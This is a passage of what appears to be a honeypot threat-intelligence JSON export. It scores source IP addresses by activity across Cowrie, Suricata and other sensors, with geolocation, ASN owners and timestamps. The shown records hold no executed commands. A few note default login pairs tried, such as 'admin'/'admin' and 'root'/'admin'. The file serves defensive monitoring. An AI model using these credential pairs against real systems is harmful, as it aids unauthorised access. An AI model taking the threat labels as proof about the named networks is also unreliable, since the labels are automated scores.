        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T14:43:37+00:00",
        "last_seen_30d": "2026-05-31T16:55:27.275000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 30,
        "ElasticPot": 14,
        "Ciscoasa": 6,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Tanner": 3,
        "ConPot": 1
      }
    },
    "79.136.185.95": {
      "attack_count": 4,
      "first_seen": "2026-05-12T04:41:19.482Z",
      "last_seen": "2026-05-30T20:49:49.667Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Rostov-on-Don",
      "asn": 57378,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:41:19.482000+00:00",
        "last_seen_30d": "2026-05-30T20:50:50.317000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "104.236.83.40": {
      "attack_count": 3,
      "first_seen": "2026-05-20T09:39:51.646Z",
      "last_seen": "2026-05-20T09:40:52.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-19T11:05:52+00:00",
        "last_seen_30d": "2026-05-20T09:41:58.011000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 3,
        "Honeytrap": 2
      }
    },
    "45.198.224.143": {
      "attack_count": 3,
      "first_seen": "2026-05-22T05:41:47.077Z",
      "last_seen": "2026-05-22T05:43:47.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T05:41:47.077000+00:00",
        "last_seen_30d": "2026-05-22T05:44:48.771000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "105.188.19.136": {
      "attack_count": 2,
      "first_seen": "2026-05-15T12:35:36.265Z",
      "last_seen": "2026-05-15T12:37:36.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:35:36.265000+00:00",
        "last_seen_30d": "2026-05-15T12:48:30.171000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "109.236.46.240": {
      "attack_count": 2,
      "first_seen": "2026-05-06T21:28:17.904Z",
      "last_seen": "2026-05-06T21:28:31.684Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 35047,
      "as_org": "Abissnet sh.a.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T21:28:17.904000+00:00",
        "last_seen_30d": "2026-05-06T21:29:40.723000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.32.185.30": {
      "attack_count": 2,
      "first_seen": "2026-05-11T17:32:09.885Z",
      "last_seen": "2026-05-11T17:32:40.548Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:32:09.885000+00:00",
        "last_seen_30d": "2026-05-11T17:33:43.246000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.232.28.243": {
      "attack_count": 2,
      "first_seen": "2026-05-15T08:45:33.702Z",
      "last_seen": "2026-05-15T08:45:46.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:45:33.702000+00:00",
        "last_seen_30d": "2026-05-15T08:46:48.588000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.118.46.164": {
      "attack_count": 2,
      "first_seen": "2026-05-09T15:19:32.047Z",
      "last_seen": "2026-05-09T15:19:44.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Petr\u00f3polis",
      "asn": 265369,
      "as_org": "C-ComTelecom Servios Ltda-ME",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:19:32.047000+00:00",
        "last_seen_30d": "2026-05-09T15:20:51.486000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "159.0.0.194": {
      "attack_count": 2,
      "first_seen": "2026-05-02T17:06:14.152Z",
      "last_seen": "2026-05-02T17:08:14.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Medina",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:06:14.152000+00:00",
        "last_seen_30d": "2026-05-02T17:09:14.683000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "178.124.179.158": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:04:24.416Z",
      "last_seen": "2026-05-05T21:04:38.367Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:04:24.416000+00:00",
        "last_seen_30d": "2026-05-05T21:05:47.399000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.96.246.198": {
      "attack_count": 2,
      "first_seen": "2026-05-23T22:49:10.691Z",
      "last_seen": "2026-05-23T22:51:10.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Po\u00e7os de Caldas",
      "asn": 28220,
      "as_org": "Alares Cabo Servicos de Telecomunicacoes S.A.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:49:10.691000+00:00",
        "last_seen_30d": "2026-05-23T23:01:51.640000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "181.19.176.241": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:45:21.753Z",
      "last_seen": "2026-05-19T23:45:34.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:45:21.753000+00:00",
        "last_seen_30d": "2026-05-19T23:53:28.825000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "185.40.34.221": {
      "attack_count": 2,
      "first_seen": "2026-05-05T16:52:51.745Z",
      "last_seen": "2026-05-05T16:53:05.021Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": null,
      "asn": 215284,
      "as_org": "Nest LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:52:51.745000+00:00",
        "last_seen_30d": "2026-05-05T16:54:05.559000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.189.121.146": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:22:45.499Z",
      "last_seen": "2026-05-03T03:22:58.497Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ecatepec",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:22:45.499000+00:00",
        "last_seen_30d": "2026-05-03T03:23:59.822000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.161.65.42": {
      "attack_count": 2,
      "first_seen": "2026-05-21T17:08:41.691Z",
      "last_seen": "2026-05-21T17:08:43.699Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Buin",
      "asn": 22047,
      "as_org": "VTR BANDA ANCHA S.A.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:08:41.691000+00:00",
        "last_seen_30d": "2026-05-21T17:09:51.152000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.142.84.131": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:20:13.708Z",
      "last_seen": "2026-05-22T23:20:26.345Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Konya",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:20:13.708000+00:00",
        "last_seen_30d": "2026-05-22T23:21:33.736000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.112.132.24": {
      "attack_count": 2,
      "first_seen": "2026-05-07T13:14:38.325Z",
      "last_seen": "2026-05-07T13:14:51.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Caseros",
      "asn": 22080,
      "as_org": "Broadbandtech S. A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:14:38.325000+00:00",
        "last_seen_30d": "2026-05-07T13:15:56.968000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.245.203.177": {
      "attack_count": 2,
      "first_seen": "2026-05-24T22:26:48.920Z",
      "last_seen": "2026-05-24T22:27:02.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Sacheon-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T22:26:48.920000+00:00",
        "last_seen_30d": "2026-05-24T22:28:08.700000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.17.194.2": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:44:48.713Z",
      "last_seen": "2026-05-22T11:45:22.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:44:48.713000+00:00",
        "last_seen_30d": "2026-05-22T11:46:23.446000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.24.174.174": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:33:53.009Z",
      "last_seen": "2026-05-08T03:34:05.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:33:53.009000+00:00",
        "last_seen_30d": "2026-05-08T03:35:05.876000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.17.154.60": {
      "attack_count": 2,
      "first_seen": "2026-05-27T10:22:09.511Z",
      "last_seen": "2026-05-27T10:22:22.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T10:22:09.511000+00:00",
        "last_seen_30d": "2026-05-27T10:23:26.406000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.202.98.242": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:28:53.172Z",
      "last_seen": "2026-05-19T06:29:10.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:28:53.172000+00:00",
        "last_seen_30d": "2026-05-19T06:30:10.935000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.236.207.59": {
      "attack_count": 2,
      "first_seen": "2026-05-09T00:07:11.241Z",
      "last_seen": "2026-05-09T00:07:24.525Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Guarapari",
      "asn": 268245,
      "as_org": "AMIGALINK COMUNICACOES LTDA - ME",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:07:11.241000+00:00",
        "last_seen_30d": "2026-05-09T00:08:28.941000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.223.25.133": {
      "attack_count": 2,
      "first_seen": "2026-05-12T04:10:51.001Z",
      "last_seen": "2026-05-12T04:12:51.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Al Qa\u0163\u012bf",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:10:51.001000+00:00",
        "last_seen_30d": "2026-05-12T04:13:51.507000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "60.152.99.46": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:57:43.748Z",
      "last_seen": "2026-05-03T15:57:57.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 17676,
      "as_org": "SoftBank Corp.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:57:43.748000+00:00",
        "last_seen_30d": "2026-05-03T15:59:00.434000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.177.174.117": {
      "attack_count": 2,
      "first_seen": "2026-05-09T16:04:43.557Z",
      "last_seen": "2026-05-09T16:04:56.493Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Petah Tikva",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:04:43.557000+00:00",
        "last_seen_30d": "2026-05-09T16:06:05.696000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.128.196.8": {
      "attack_count": 2,
      "first_seen": "2026-05-21T11:45:03.551Z",
      "last_seen": "2026-05-21T11:47:03.555Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "South Croydon",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:45:03.551000+00:00",
        "last_seen_30d": "2026-05-21T11:57:49.966000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "94.20.214.171": {
      "attack_count": 2,
      "first_seen": "2026-05-06T07:56:47.051Z",
      "last_seen": "2026-05-06T07:56:59.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 200446,
      "as_org": "SELNET LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
